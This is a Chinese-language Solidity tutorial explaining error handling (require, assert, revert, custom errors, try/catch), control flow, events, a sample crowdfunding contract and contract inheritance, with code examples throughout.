提供一个字符串参数,它会用空错误数据进行 revert, 甚至不包括错误选择器。
在下例中,你可以看到如何轻松使用 require
检查输入条件以及如何使用
assert
检查内部错误.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.9.0;
contract Sharer {
function sendHalf(address addr) public payable returns (uint balance) {
require(msg.value % 2 == 0, "Even value required.");
uint balanceBeforeTransfer = this.balance;
addr.transfer(msg.value / 2);
// 由于转账函数在失败时抛出异常并且不会调用到以下代码,因此我们应该没有办法检查仍然有一半的钱。
assert(this.balance == balanceBeforeTransfer - msg.value / 2);
return this.balance;
}
}
在内部, Solidity 对异常执行回退操作(指令 0xfd
),从而让 EVM 回退对状态所做的所有更改。回退的原因是无法安全地继续执行,因为无法达到预期的结果。 因为我们想要保持交易的原子性,最安全的动作是回退所有的更改,并让整个交易(或至少调用)没有任何新影响。
在这两种情况下,调用者都可以使用 try
/ catch
来应对此类失败,但是被调用函数的更改将始终被还原。
请注意, 在 0.8.0 之前,Panic 异常使用 invalid
指令,其会消耗了所有可用的 gas。 使用 require
的异常,在 Metropolis 版本之前会消耗所有的 gas。
require、assert、revert 共同点
以下三个语句的功能完全相同:
// revert
if(msg.sender != owner) {
revert();
}
// require
require(msg.sender == owner);
// assert
assert(msg.sender == owner);
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorDemo {
function testRequire(uint256 _x) external pure {
require(_x > 10, "_x > 10");
}
function testRevert(uint256 _x) external pure {
if (_x > 10) {
revert("_x > 10");
}
}
function testAssert(uint256 _x) external pure {
assert(_x == 10);
}
error MyError(address call, uint256 _i);
function testCustomError(uint256 _x) external view {
if (_x > 10) {
revert MyError(msg.sender, _x);
}
}
}
自定义 Error
Solidity 中的错误(关键字 error)提供了一种方便且省 gas 的方式来向用户解释为什么一个操作会失败。它们可以被定义在合约(包括接口和库)内部和外部。
error
只能通过revert
触发使用自定义 error 抛出错误,向调用者描述错误信息。
开发者可以在任何时候,任何条件下触发 自定义 Error
error 花费更少的 gas。
error
可以定义在 contract 之外。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 自定义错误
error MyError1(address call, uint256 _i);
contract ErrorDemo {
// 自定义错误
error MyError2(address call, uint256 _i);
function testCustom1(uint256 _x) external view {
if (_x > 10) {
revert MyError1(msg.sender, _x);
}
}
function testCustom2(uint256 _x) external view {
if (_x > 10) {
revert MyError2(msg.sender, _x);
}
}
}
错误必须与 revert 语句 一起使用。它会还原当前调用中的发生的所有变化,并将错误数据传回给调用者。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
/// 转账时,没有足够的余额。
/// @param available balance available.
/// @param required requested amount to transfer.
error InsufficientBalance(uint256 available, uint256 required);
contract TestToken {
mapping(address => uint) balance;
function transfer(address to, uint256 amount) public {
if (amount > balance[msg.sender])
revert InsufficientBalance({
available: balance[msg.sender],
required: amount
});
balance[msg.sender] -= amount;
balance[to] += amount;
}
// ...
}
错误不能被重写或覆盖,但是可以继承。只要作用域不同,同一个错误可以在多个地方定义。只能使用 revert
语句创建错误实例。
错误产生的数据,会通过 revert 操作传递给调用者,可以交由链外组件处理或在 try/catch 语句 中捕获它。注意,只有外部调用的错误才能被捕获。发生在内部调用或同一函数内的 revert 不能被捕获。
如果是调用 Error(string)
函数,这里提供的字符串将经过 ABI 编码。revert("Not enough Ether provided.");
会产生如下的十六进制错误返回值:
// Error(string) 的函数选择器
0x08c379a0
// 数据的偏移量(32)
0x0000000000000000000000000000000000000000000000000000000000000020
// 字符串长度(26)
0x000000000000000000000000000000000000000000000000000000000000001a
// 字符串数据("Not enough Ether provided." 的 ASCII 编码,26字节)
0x4e6f7420656e6f7567682045746865722070726f76696465642e000000000000
提示信息可以通过 try/catch
(下面介绍)来获取到。
revert()
之前有一个同样用法的throw
,它在 0.4.13 版本弃用,在 0.5.0 移除。
Natspec Error
使用一个自定义的错误实例通常会比字符串描述便宜得多。因为你可以使用错误名来描述它,它只被编码为四个字节。更长的描述可以通过 NatSpec 提供,这不会产生任何费用。
通过三个斜杠 ///
定义的错误,它比require
更省 gas。推荐代替 require 使用。
如果错误没有任何参数,错误只需要四个字节的数据,你可以使用 NatSpec,来进一步解释错误背后的原因,NatSpec 不会存储在链上。这个方式使得它同时也是一个非常便宜和方便的错误报告功能。
更具体地说,一个错误实例的 ABI 编码方式与调用相同名称和类型的函数的方式相同,它作为revert
操作码的返回数据使用。 这意味着错误数据由一个 4 字节的选择器和 ABI-encoded 数据组成。选择器是错误的签名的 keccak256 哈希的前四个字节组成。
代码结构如下
/// this is netspec error info
error MyError1();
例子如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorDemo {
// netspec error
/// this is netspec error info,this is netspec error info,this is netspec error info,this is netspec error info,this is netspec error info
error MyError1();
/// 这是一个错误!老铁,你的输入参数错啦,必须要大于10的数字才可以通过!
error MyError2();
// 21647 gas
function test1(uint256 _x) external pure {
if (_x < 10) {
revert MyError1();
}
}
// 21691 gas
function test2(uint256 _x) external pure {
if (_x < 10) {
revert MyError2();
}
}
// 22036 gas
function test3(uint256 _x) external pure {
require(
_x > 10,
"this is netspec error info,this is netspec error info,this is netspec error info,this is netspec error info,this is netspec error info"
);
}
// 21974 gas
function test4(uint256 _x) external pure {
require(
_x > 10,
unicode"这是一个错误!老铁,你的输入参数错啦,必须要大于10的数字才可以通过!"
);
}
}
try catch
在当前合约发起对外部合约的调用,如果外部合约调用执行失败被 revert,外部合约状态会被回滚,当前合约状态也会被回滚。这是正常的逻辑。
但有时候我们并不想这样,要是能够捕获外部合约调用异常,然后根据情况做自己的处理会更好吗!所以,这种场景下适应于使用 try...catch
语句。
try catch
仅用于 外部函数调用 和合约创建调用。
外部函数调用
合约创建调用
语法
try this.count() {
// 成功逻辑
return "success";
} catch Error(string memory reason) {
// 失败的逻辑: require / revert
// 调用 count() 失败时执行,通常是不满足 require 语句条件或触发 revert 语句时所引起的调用失败
return reason;
} catch (bytes memory) {
// 失败逻辑
// 调用 count() 异常时执行,通常是触发 assert 语句或除 0 等比较严重错误时会执行
return "assert error";
}
上面的逻辑也可以简写如下
try this.count() {
// 成功逻辑
return "success";
} catch (bytes memory) {
// 失败逻辑: require / revert / assert
return "assert error";
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Manager {
// function count() public pure returns (int256) {
// require(1 == 2, "require error");
// return 2;
// }
function count() public pure returns (int256) {
assert(1 == 2);
return 2;
}
function test() public view returns (string memory) {
// this 代表当前函数
try this.count() {
return "success";
} catch Error(string memory reason) {
// reason 是出错原因
// 调用 count() 失败时执行,通常是不满足 require 语句条件
// 或触发 revert 语句时所引起的调用失败
return reason;
} catch (bytes memory) {
// 调用 count() 异常时执行,通常是触发 assert 语句或除 0 等比较严重错误时会执行
return "assert error";
}
}
}
也可以去掉catch Error(string memory reason)
,只使用 catch (bytes memory)
;
如下的测试
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Manager {
function count() public pure returns (int256) {
require(1 == 2, "require error");
return 2;
}
function test() public view returns (string memory) {
// this 代表当前函数
try this.count() {
return "success";
} catch (bytes memory) {
// 调用 count() 异常时执行,通常是触发 assert 语句或除 0 等比较严重错误时会执行
return "assert error";
}
}
}
外部调用的失败,可以通过 try/catch 语句来捕获,例如:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.1;
interface DataFeed { function getData(address token) external returns (uint value); }
contract FeedConsumer {
DataFeed feed;
uint errorCount;
function rate(address token) public returns (uint value, bool success) {
// 如果错误超过 10 次,永久关闭这个机制
require(errorCount < 10);
try feed.getData(token) returns (uint v) {
return (v, true);
} catch Error(string memory /*reason*/) {
// This is executed in case
// revert was called inside getData
// and a reason string was provided.
errorCount++;
return (0, false);
} catch Panic(uint /*errorCode*/) {
// This is executed in case of a panic,
// i.e. a serious error like division by zero
// or overflow. The error code can be used
// to determine the kind of error.
errorCount++;
return (0, false);
} catch (bytes memory /*lowLevelData*/) {
// This is executed in case revert() was used。
errorCount++;
return (0, false);
}
}
}
try
关键词后面必须有一个表达式,代表外部函数调用或合约创建(new ContractName()
)。
以下内容摘自文档:
在表达式上的错误不会被捕获(例如,如果它是一个复杂的表达式,还涉及内部函数调用),只有外部调用本身发生的 revert 可以捕获。 接下来的 returns
部分(是可选的)声明了与外部调用返回的类型相匹配的返回变量。在没有错误的情况下,这些变量被赋值,合约将继续执行第一个成功块内代码。如果到达成功块的末尾,则在 catch
块之后继续执行。
Solidity 根据错误的类型,支持不同种类的捕获代码块:
catch Error(string memory reason) { ... }
: 如果错误是由revert("reasonString")
或require(false, "reasonString")
(或导致这种异常的内部错误)引起的,则执行这个 catch 子句。catch Panic(uint errorCode) { ... }
: 如果错误是由 panic 引起的(如:assert
失败,除以 0,无效的数组访问,算术溢出等),将执行这个 catch 子句。catch (bytes memory lowLevelData) { ... }
: 如果错误签名不符合任何其他子句,如果在解码错误信息时出现了错误,或者如果异常没有一起提供错误数据。在这种情况下,子句声明的变量提供了对低级错误数据的访问。catch { ... }
: 如果你对错误数据不感兴趣,你可以直接使用catch { ... }
(甚至是作为唯一的 catch 子句) 而不是前面几个 catch 子句。
有计划在未来支持其他类型的错误数据。 Error
和 Panic
字符串目前是按原样解析的,不作为标识符处理。
为了捕捉所有的错误情况,你至少要有子句 catch { ... }
或 catch (bytes memory lowLevelData) { ... }
.
在 returns
和 catch
子句中声明的变量只在后面的块的范围内有效。
注解: 如果在 try/catch 语句内部返回的数据解码过程中发生错误,这将导致当前执行的合约出现异常,如此,它不会在 catch 子句中被捕获到。如果在 catch Error(string memory reason)
的解码过程中出现错误,并且有一个低级的 catch 子句,那么这个错误就会在低级 catch 子句被捕获。
注解: 如果执行到一个 catch 子句,那么外部调用的状态改变已经被回退了。如果执行到了成功块,那么外部调用的状态改变是有效的。如果状态改变已经被回退,那么要么在 catch 块中继续执行,要么是 try/catch 语句的执行本身被回退(例如由于上面提到的解码失败或由于没有提供低级别的 catch 子句时)。
注解:调用失败背后的原因可能是多方面的。请不要认为错误信息是直接来自被调用的合约。错误可能发生在调用链的更深处,而被调用的合约只是转发了(冒泡)错误。 另外,这可能是由于 out-of-gas 情况,而不是一个逻辑错误状况:调用者总是在调用中保留至少 1/64 的 gas,这样即使被调合约 gas 用完,调用方仍有一些 gas 预留(处理剩余逻辑)。
流程控制
if else
有下面四种用法
if
if…else
if…else if
if…else if…else
用于表示条件的括号 不可以 被省略,单语句体两边的花括号可以被省略。
if
语法
if (条件表达式) {
被执行语句(如果条件为真)
}
Solidity 中非布尔类型数值不能转换为布尔类型,因此 if (1) { ... }
的写法在 Solidity 中 无效 。
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function greaterThan10(uint256 _x) external pure returns (bool) {
if (_x > 10) {
return true;
}
return false;
}
}
if else
语法
if (条件表达式) {
被执行语句(如果条件为真)
} else {
被执行语句(如果条件为假)
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function greaterThan10(uint256 _x) external pure returns (bool) {
if (_x > 10) {
return true;
} else {
return false;
}
}
}
if…else if…else
语法
if (条件表达式 1) {
被执行语句(如果条件 1 为真)
} else if (条件表达式 2) {
被执行语句(如果条件 2 为真)
} else if (条件表达式 3) {
被执行语句(如果条件 3 为真)
} else {
被执行语句(如果所有条件为假)
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function example(uint256 _x) external pure returns (uint256) {
if (_x < 10) {
return 1;
} else if (_x < 20) {
return 2;
} else {
return 3;
}
}
}
if…else if
语法
if (条件表达式 1) {
被执行语句(如果条件 1 为真)
} else if (条件表达式 2) {
被执行语句(如果条件 2 为真)
} else if (条件表达式 3) {
被执行语句(如果条件 3 为真)
} else {
被执行语句(如果所有条件为假)
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function example(uint256 _x) external pure returns (uint256) {
if (_x < 10) {
return 1;
} else if (_x < 20) {
return 2;
} else if (_x < 30) {
return 3;
}
return 999;
}
}
三元运算符
之前有介绍过三元运算符,这个相当于是 if else 的简洁版。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract IfElse{
function example2 (uint _x) external pure returns (uint){
return _x<10 ? 1 : 2;
}
}
循环与迭代
for
while
do ... while
循环控制语句:continue
/break
。
for 语句
语法
for (初始化; 测试条件; 迭代语句) {
// 如果表达式的结果为真,就循环执行以下语句
......
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract For {
// 输入5 输出15
function test1(uint256 _x) external pure returns (uint256 temp) {
for (uint256 i = 1; i <= _x; i++) {
temp += i;
}
}
}
循环控制
continue
退出当前迭代语句可以用来继续执行(跳过代码块的剩余部分并进入下一循环)。
break
终止循环
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract For {
// 输入5 输出15
function test1(uint256 _x) external pure returns (uint256 temp) {
for (uint256 i = 0; i <= _x; i++) {
temp += i;
}
}
// 输入5 输出7
function test2(uint256 _x) external pure returns (uint256 temp) {
for (uint256 i = 0; i <= _x; i++) {
if (i == 3) {
continue;
}
if (i == 5) {
break;
}
temp += i;
}
}
}
使用 ++i 可以省 gas
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract For {
function test1(uint256 _x) external pure returns (uint256 temp) {
for (uint256 i = 1; i <= _x; i++) {
temp += i;
}
}
function test2(uint256 _x) external pure returns (uint256 temp) {
for (uint256 i = 1; i <= _x; ++i) {
temp += i;
}
}
}
运行 test1
// 输入 5 : 23658 gas // 输入 100 : 58713 gas
运行 test2
// 输入 5 : 23655 gas // 输入 100 : 58235 gas
while 语句
语法
while (表达式) {
// 如果表达式的结果为真,就循环执行以下语句
......
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract For {
function test1(uint256 _x) external pure returns (uint256 temp) {
uint256 i = 0;
while (i <= _x) {
temp += i;
i++;
}
}
}
do…while
语法
do {
// 如果表达式的结果为真,就循环执行以下语句
......
} while (表达式);
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract For {
function test1(uint256 _x) external pure returns (uint256 temp) {
uint256 i = 0;
while (i <= _x) {
temp += i;
i++;
}
}
function test2(uint256 _x) external pure returns (uint256 temp) {
uint256 i = 0;
do {
temp += i;
i++;
} while (i <= _x);
}
}
事件
事件是能方便地调用以太坊虚拟机日志功能的接口。应用程序可以通过以太坊客户端的 RPC 接口订阅和监听这些事件。
重点:记录区块链的日志,可以使用状态变量,也可以使用事件 Event,但 Event 使用的 gas 费比状态变量低。
原则:改变状态变量时,一定要触发事件。
Soliddity Event 事件是以太坊虚拟机(EVM)日志基础设施提供的一个便利接口。当被发送事件(调用)时,会触发参数存储到交易的日志中。这些日志与合约的地址关联,并记录到区块链中。每个交易收据包含 0 到多个 log 记录,log 表明着智能合约所触发的事件。
Event 语法
事件的定义:使用 event
关键字来定义一个事件 Event,语法如下:
event EventName(<parameter list>);
事件的触发:只能使用 emit
关键字来触发事件 Event,语法如下:
emit EventName(<parameter list>);
四种事件定义方式
不带参数的 event
带参数的 event
带参数名的 event
带 indexed 参数名的 event
这种事件也被称为索引事件
语法:
event EventName(TypeName indexed varibleName....);
事件中 indexed 标记过的参数,可以在链外进行搜索查询。
一个事件中 indexed 标记过的参数最多有 3 个。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Event {
// 普通 event
event Log1(address, string);
// 带名字的 event
event Log2(address ads, string msg);
// 带 indexed 的event
event Log3(address indexed ads, string msg);
// indexed 在一个事件内使用次数不能超过3次
event Transfer(
address indexed from,
address indexed to,
uint256 indexed amount
);
function log1() external {
emit Log1(msg.sender, "Log111");
}
function log2() external {
emit Log2(msg.sender, "Log222");
}
function log3() external {
emit Log3(msg.sender, "Log333");
}
function transfer(address _to, uint256 amount) external {
emit Transfer(msg.sender, _to, amount);
}
}
不带参数的 event
[
{
"from": "0x7874d94b8f9E2a28FCceCE404666C984f33a82b8",
"topic": "0x1732d0c17008d342618e7f03069177d8d39391d79811bb4e706d7c6c84108c0f",
"event": "Log1",
"args": {}
}
]
带参数的 event
[
{
"from": "0x7874d94b8f9E2a28FCceCE404666C984f33a82b8",
"topic": "0x54010eb0426bdddd13273086604fca7ba750a84093c6839732d954056646e81b",
"event": "Log2",
"args": {
"0": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"1": "Log222"
}
}
]
带参数名的 event
[
{
"from": "0x7874d94b8f9E2a28FCceCE404666C984f33a82b8",
"topic": "0x940879bf2d29cdfe8084f2f033d2168f5859a6e10530b61fb84dc1c5ddc9ca40",
"event": "Log3",
"args": {
"0": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"1": "Log333",
"ads": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"msg": "Log333"
}
}
]
带 indexed 参数名的 event
[
{
"from": "0xfB72aAdB17a855D27A68B565ee0a84CB30A387e4",
"topic": "0xf485c071883274befba21423da7f60203f9df753bf614bca26c4763ed4b240fb",
"event": "Log4",
"args": {
"0": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"1": "Log444",
"ads": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"msg": "Log444"
}
}
]
[
{
"from": "0xfB72aAdB17a855D27A68B565ee0a84CB30A387e4",
"topic": "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef",
"event": "Transfer",
"args": {
"0": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"1": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"2": "1",
"from": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"to": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
"amount": "1"
}
}
]
indexed 的作用
indexed 数据会被记录到 topics
中,可以用于检索。已索引的部分,最多有 3 个(对于非匿名事件)或 4 个(对于匿名事件)
对于非匿名事件,最多三个参数可以接收 indexed
属性(它是一个特殊的名为: “主题” 的数据结构,而不作为日志的数据部分)。主题仅有 32 字节, 因此如果:引用类型 标记为索引项,则它们的 keccak-256 哈希值会被作为 主题(topic) 保存。
主题(topic)让我们可以可以搜索事件,比如在为某些事件过滤一些区块,还可以按发起事件的合同地址来过滤事件。
例如, 使用如下的 web3.js subscribe("logs")方法
去过滤符合特定地址的 主题(topic) :
var options = {
fromBlock: 0,
address: web3.eth.defaultAccount,
topics: ["0x0000000000000000000000000000000000000000000000000000000000000000", null, null],
};
web3.eth
.subscribe("logs", options, function (error, result) {
if (!error) console.log(result);
})
.on("data", function (log) {
console.log(log);
})
.on("changed", function (log) {});
主要用在链下服务,可以通过 RPC 获取,比如 web3 的以下方法:
myContract.once
https://web3js.readthedocs.io/en/v1.7.5/web3-eth-contract.html
myContract.events.MyEvent
https://web3js.readthedocs.io/en/v1.7.5/web3-eth-contract.html#contract-events
myContract.getPastEvents
https://web3js.readthedocs.io/en/v1.7.5/web3-eth-contract.html#getpastevents
log 的使用
除非你用 anonymous
声明事件,否则事件签名的哈希值是一个 主题(topic)。同时也意味着对于匿名事件无法通过名字来过滤,仅能按合约地址过滤。匿名事件的优势是他们部署和调用的成本更低。它也允许你声明 4 个索引参与而不是 3 个。
⚠️:由于交易日志只存储事件数据而不存储类型。你必须知道事件的类型,包括哪个参数被索引,以及该事件是否是匿名的,以便正确解释数据。尤其是,有可能使用一个匿名事件来”伪造”另一个事件的签名。
pragma solidity >=0.4.21 <0.9.0;
contract ClientReceipt {
event Deposit(
address indexed from,
bytes32 indexed id,
uint value
);
function deposit(bytes32 id) public payable {
// 事件使用 emit 触发事件。
// 我们可以过滤对 `Deposit` 的调用,从而用 Javascript API 来查明对这个函数的任何调用(甚至是深度嵌套调用)。
emit Deposit(msg.sender, id, msg.value);
}
}
使用 JavaScript API 调用事件的用法如下:
var abi = /* abi 由编译器产生 */;
var ClientReceipt = web3.eth.contract(abi);
var clientReceipt = ClientReceipt.at("0x1234...xlb67" /* 地址 */);
var depositEvent = clientReceipt.Deposit();
// 监听变化
depositEvent.watch(function(error, result) {
// 结果包含 非索引参数 以及 主题 topic
if (!error)
console.log(result);
});
// 或者通过传入回调函数,立即开始听监
var depositEvent = clientReceipt.Deposit(function(error, result) {
if (!error)
console.log(result);
});
上面的输出如下所示(有删减):
{
"returnValues": {
"from": "0x1111…FFFFCCCC",
"id": "0x50…sd5adb20",
"value": "0x420042"
},
"raw": {
"data": "0x7f…91385",
"topics": ["0xfd4…b4ead7", "0x7f…1a91385"]
}
}
Log 重载
Log 可以像函数一样重载
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Event {
event Log(address ads);
event Log(address indexed ads, string msg); // 重载
function log1() external {
emit Log(msg.sender);
}
function log2() external {
emit Log(msg.sender, "Log111");
}
}
实战: 众筹合约
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Croedfund {
/* ============ Type Declaration ============ */
// 出资人角色
// * 仅需记录地址/金额即可
struct Donor {
address addr; //出资人地址
uint256 amount; //出资人金额
}
// 募资人角色
// * 用于表示一个募资项目,其中包括募资人地址、目标金额、
// 已筹集金额、捐赠者人数、项目状态以及所有的出资人。
struct Donee {
address creator; // 募资人地址
uint256 goal; // 众筹目标数量
uint32 startAt; // 开始时间
uint32 endAt; // 结束时间
bool claimed; // 是否被领取
uint256 amount; // 已筹集金额
uint256 donorCount; // * 捐赠者人数
mapping(uint256 => Donor) donorMap; // * 出资人字典
}
/* ============ State Variables ============ */
address payable owner; //合约拥有者
uint256 public doneeCount; // 募资人数量
mapping(uint256 => Donee) public doneeMap; //募资人字典
/* ============ Events ============ */
event Launch(
uint256 id,
address indexed creator,
uint256 goal,
uint32 startAt,
uint32 endAt
);
event Cancel(uint256 id);
event Donate(uint256 indexed id, address indexed caller, uint256 amount);
event Unpledge(uint256 indexed id, address indexed caller, uint256 amount);
event Claim(uint256 id, address creator, uint256 amount);
event Refund(uint256 indexed id, address indexed caller, uint256 amount);
/* ============ Modifier ============ */
modifier onlyOwner() {
require(msg.sender == owner, "only owner");
_;
}
// 验证募捐活动ID是否有效
modifier validDonee(uint256 doneeID) {
require(doneeID > 0 && doneeID <= doneeCount);
_;
}
/* ============ Errors ============ */
error MyError(string);
/* ============ Constructor ============ */
constructor() {
owner = payable(msg.sender);
}
/* ============ Functions ============ */
// 启动新众筹
function launch(
address _addr,
uint256 _goal,
uint32 _startAt,
uint32 _endAt
) external onlyOwner {
require(_startAt >= block.timestamp, "start at < now");
require(_startAt <= _endAt, "start at > end at");
require(_endAt <= block.timestamp + 30 days, "end at > max duration");
doneeCount++;
Donee storage donee = doneeMap[doneeCount];
donee.creator = _addr;
donee.goal = _goal;
donee.startAt = _startAt;
donee.endAt = _endAt;
emit Launch(doneeCount, msg.sender, _goal, _startAt, _endAt);
}
// 取消指定ID的众筹
function cancel(uint256 _id) external onlyOwner {
// 不需要修改,需用 memeory ,但是包含mapping类型,所以需要用 storage
Donee storage campaign = doneeMap[_id];
require(block.timestamp < campaign.startAt, "started"); // 必须还没有开始
delete doneeMap[_id];
emit Cancel(_id);
}
// 出资人捐赠
function donate(uint256 _id) external payable validDonee(_id) {
Donee storage donee = doneeMap[_id]; // 需要修改,所以使用 storage
require(block.timestamp >= donee.startAt, "not start"); //
require(block.timestamp <= donee.endAt, "ended"); //
donee.donorCount++;
donee.amount += msg.value;
Donor storage donor = donee.donorMap[donee.donorCount];
donor.addr = msg.sender;
donor.amount = msg.value;
emit Donate(_id, msg.sender, msg.value);
}
// 完成目标给募资人转账
function transfer(uint256 doneeID) public onlyOwner validDonee(doneeID) {
Donee storage donee = doneeMap[doneeID];
require(!donee.claimed, "is claimed");
require(block.timestamp >= donee.endAt, "not ended");
require(donee.amount >= donee.goal, "amount < goal");
// 设置已经支付的状态
donee.claimed = true;
// 给募资人转账
payable(donee.creator).transfer(donee.goal);
emit Claim(doneeID, msg.sender, donee.amount);
}
/* ============ Helper ============ */
fallback() external {}
receive() external payable {}
// 获取当前合约的余额
function getBalance() public view returns (uint256) {
return address(this).balance;
}
// 合约的余额转账到拥有者
function withdraw(uint256 doneeID) public onlyOwner {
Donee storage donee = doneeMap[doneeID];
require(donee.claimed, "not claimed");
require(block.timestamp >= donee.endAt, "not ended");
payable(msg.sender).transfer(address(this).balance);
}
// 获取项目状态
function getStatus(uint256 doneeID)
public
view
validDonee(doneeID)
returns (bool)
{
Donee storage donee = doneeMap[doneeID];
return (block.timestamp >= donee.startAt &&
block.timestamp <= donee.endAt);
}
}
测试合约
address1 launch 一次活动
goal 为 10
doneeMap 查询 id 1 信息
getStatus 查询 id 1 是否开始
address2 donate 6
address3 donate 7
doneeMap 查询 id 1 信息
合约继承
实现继承的方式是通过复制包括多态的代码到子类来实现的。合约继承通过关键字 is
来实现。由于 Solidity 继承的实现方案是代码拷贝,所以合约继承后,部署到网络时,将变成一个合约,代码将从父类拷贝到子类中。
修饰符可以继承
事件不可以继承,但是可以重载
fallback
可以继承,但是需要保持原有的payable/nonpayable
receive
可以继承,但是需要保持原有的payable/nonpayable
使用 is
实现继承
当一个合约从多个合约继承时,在区块链上只有一个合约被创建,所有基类合约(或称为父合约)的代码被编译到创建的合约中。这意味着对基类合约函数的所有内部调用也只是使用内部函数调用(super.f(..)将使用 JUMP 跳转而不是消息调用)。
继承: 派生合约继承基础合约的属性和方法
基础合约通常也被称为父合约,派生合约通常也称作子合约。
下面是: “男人”继承”人”的演示。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Person {
string internal name;
uint256 age; // 状态变量默认是internal权限
event Log(string funName);
modifier onlyOwner() virtual {
age = 1;
_;
}
fallback() external payable virtual {
emit Log("fallback by Person");
}
receive() external payable virtual {
emit Log("receive by Person");
}
}
contract Man is Person {
constructor() {
name = "Anbang";
age = 18;
}
event Log(string funName, address _ads);
modifier onlyOwner() override {
age = 99;
_;
}
function getName() external view returns (string memory) {
return name;
}
function getAge() external view returns (uint256) {
return age;
}
function getAge2() external onlyOwner returns (uint256) {
return age;
}
// fallback 和 receive 继承的时候,必须保证 payable/nonpayable 状态不变。
// Overriding function changes state mutability from "payable" to "nonpayable".
// fallback() external override {
// emit Log("fallback by man");
// }
fallback() external payable override {
emit Log("fallback by man");
}
receive() external payable override {
emit Log("receive by Man", msg.sender);
}
}
父合约必须写在子合约的前面,
否则会报错:
TypeError: Definition of base has to precede definition of derived contract
子类可以继承父类哪些数据?
子类可以访问父类的权限修饰符只有:public/internal
,不能是 external/private
。
如果父类的状态变量和函数是
private
和external
,则子类不可以继承和访问。如果子类调用父类
external
修饰的函数,会报错:Cannot call function via contract type name.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Person {
string internal name;
uint256 age; // 状态变量默认是internal权限
uint256 public hand = 2;
uint256 private privateState = 99;
function publicFn() public pure returns (uint256) {
return 1;
}
function internalFn() internal pure returns (uint256) {
return 2;
}
function privateFn() private pure returns (uint256) {
return 3;
}
}
contract Man is Person {
constructor() {
name = "Anbang";
age = 18;
}
function getInfo()
external
view
returns (
string memory,
uint256,
uint256
)
{
return (name, age, hand);
// privateState 不可以访问
}
function getPublicFn() external pure returns (uint256) {
return publicFn();
}
function getInternalFn() external pure returns (uint256) {
return internalFn();
}
// 不可以访问 privateFn 的方法
// function getPrivateFn() external pure returns (uint256) {
// return privateFn(); // Undeclared identifier.
// }
}
多重继承中的重名
一个合约同时继承 2 个合约时,这种情况叫多重继承
多重继承中不允许出现相同的函数名、事件名、修改器名以及状态变量名等。
如下继承会报错,不允许编译:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
string internal name;
event log();
modifier onlyOwner() {
_;
}
function test() internal {}
}
contract B {
string internal name;
event log();
modifier onlyOwner() {
_;
}
function test() internal {}
}
contract C is A, B {}
多重继承函数中 getter 函数重名也不可以,如下是比较隐蔽的冲突情况:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
uint256 public data = 10;
}
contract B {
// data函数之所以出错
// 是因为和 A 中状态变量 data 的 getter 函数重名。
function data() public returns (uint256) {
return 1;
}
}
contract C is A, B {}
当继承时合约出现了一下相同名字会被认为是一个错误:
函数 和 修改器/modifier 同名
函数 和 事件同名
事件和 修改器/modifier 同名
有一种例外情况,状态变量的
getter
函数可以覆盖external
函数。
重写函数
solidity 引入了 abstract
, virtual
, override
几个关键字,用于重写函数。父合约标记为 virtual
函数可以在继承合约里重写(overridden)以更改他们的行为。重写的函数需要使用关键字 override
修饰。
继承的方法重写需要注意的点:
父合约方法需要标示为可修改,使用关键字
virtual
,子合约方法需要标示为覆盖,使用关键词
override
对于多重继承,如果有多个父合约有相同定义的函数, override 关键字后必须指定所有父合约名。
基础合约中可以包含没有实现代码的函数,也就是纯虚函数,那么基础合约必须声明为
abstract
。继承多个合约时,所有同名的可修改函数都需要重写
继承后重写合约方法,各个合约内的函数可见性需要一致
可变性可以按照以下顺序更改为更严格的一种:
nonpayable
可以被view
和pure
覆盖。view
可以被pure
覆盖。payable
是一个例外,不能更改为任何其他可变性。
virtual 和 override
以下例子,B 继承 A,C 继承 B
A 是爷爷
B 是爸爸
C 是孙子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
function test1() public pure virtual returns (string memory) {
return "test1 from A";
}
// 使用 public 和 external 都可以
function test2() external pure virtual returns (string memory) {
return "test2 from A";
}
function test3() public pure virtual returns (string memory) {
return "test3 from A";
}
}
contract B is A {
function test1() public pure virtual override returns (string memory) {
return "test1 from B";
}
function test2() external pure override returns (string memory) {
return "test2 from B";
}
}
contract C is B {
function test1() public pure override returns (string memory) {
return "test1 from C";
}
}
